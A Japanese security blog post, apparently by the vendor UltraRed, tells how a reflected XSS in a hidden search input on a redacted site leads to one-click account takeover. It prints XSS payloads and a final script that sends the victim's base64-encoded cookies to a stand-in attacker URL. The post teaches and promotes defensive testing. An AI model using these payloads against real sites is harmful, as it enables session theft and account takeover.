シンプルなXSSから ワンクリックアカウント 乗っ取りまで
非表示のボタンやフォームであっても、ウェブサイト上の入力フィールドをひとつずつテストすることがなぜ重要なのか?
クロスサイトスクリプティングとは?
クロスサイトスクリプティング(XSS)は攻撃者が悪意のある実行可能スクリプトを信頼性が確認されたアプリケーションやウェブサイトのコードに挿入(インジェクション)する攻撃です。多くの場合、攻撃者は悪意のあるリンクをユーザーに送信し、ユーザーにクリックさせることでXSS攻撃を開始します。場合によってはわずかなミスが大きな被害につながることがあり、企業が気付かないうちに(または十分な注意を払わなかった場合)全社的なリスクが発生していることもあります。
以下は実際の事例です。
大規模なウェブサイト(仮にredacted.com としましょう)で、ウェブアプリケーションの脆弱性ハンティングを行います。
Redacted.comには大量のアセットがあります。500以上のサブドメインとインターネットに接続されたデバイスを様々な技法(SSL証明書、Favicon、各種サイトへのドーキングなどで UltraRed システムはこれらすべてを自動的に行う)によって識別します。ターゲット範囲全体の情報を入手後、これらのウェブサイトでユーザー入力のクローリングを行い、たとえばredacted.comで https://redacted.com/?s=termというリンクにつながるページ検索のオプションがないか確認しました。
収集した各リンクで反射動作がないかすぐに確認し、ウェブサイト上でクライアントによる入力が反射されていないか調べました。
この作業はいくつかの異なるツールを使って自動的に行うことができます。悪意のあるコンテンツを含まない各パラメータが、初期の偵察段階でWAF によってブロックされないようにして、ウェブサイト上でフィルタリングされている文字を確認しました。
たとえば、検索ボックスに‘Testing"’with extra “ という文字を入力すると、https://redacted.com/?s=Testing” のように URL エンコーディングが行われて送信されます。 " がページ上に反射される場合は、そのページにインジェクションが行われている可能性があります。
['><] のような文字もクロスサイトスクリプティングまたは場合によってはSQL インジェクション(パラメータがサニタイズされないままデータベースに送信されている可能性もある)を示すことがあります。
最終的にパラメータが見つかったので、クロスサイトスクリプティングのテストを開始できます。
最初にペイロード、"><svg/onload=alert(1)>- NO POP UP をテストします。
ソースコードを確認し、コードの反射先を調べます。すると非表示の入力型の中にいることがわかります。つまり変数が非表示になっており、XSSを自動的にトリガーするためにペイロードを作成して、非表示の入力をエスケープ処理するか、前のスクリプトタグをクローズして新たなタグ、"></scRiPt><sVG/onload=confirm(1)>-POP UP EXECUTED を作成します。
次は何を行えばよいのでしょうか?
大きなインパクトとしてアラートが生成されます。アラートはクライアント側のjavascript が実行可能なことを証明するものです。ウェブサイト内での設定ミスもさらに誘発されます。これでワンクリックアカウント乗っ取りが実行できます。
ワンクリックアカウント乗っ取りは、攻撃者が作成したリンクによってウェブサイト上の機能をエクスプロイトするものです。ウェブサイトを使用するターゲット宛てにリンクを送信し、ターゲットがURL をワンクリックするだけで攻撃者がその企業に関連する任意のアカウントを数秒で乗っ取ることができます。2FA や MFA などの通常の保護策では不十分です。
最後のペイロードは"</scRiPt><script>vari=newImage();i.src="http://<ATTACKERURL.COM>/?cookie="+btoa(document.cookie);</script>です。このペイロードはセッション全体のcookie 、個人情報、アカウント詳細を BASE64 で攻撃者に送信しました。
これらのcookies により、悪意のあるリンクをクリックしたユーザーを攻撃し、乗っ取ることができます。つまり、クロスサイトスクリプティングはウェブ上で最も危険な脆弱性のひとつで、OWASP 脆弱性のトップ10に入っているのも当然です。
必要な知識と明確な意図を持った攻撃者であれば、出所不明な被害を発生させることができます。Ultrared はこうしたクロスサイトスクリプティング変数の検出方法を把握しており、クライアントのビジネス継続をサポートすることができます。
ULTRA、エディ・ザルツマン(Eddie Zaltsman)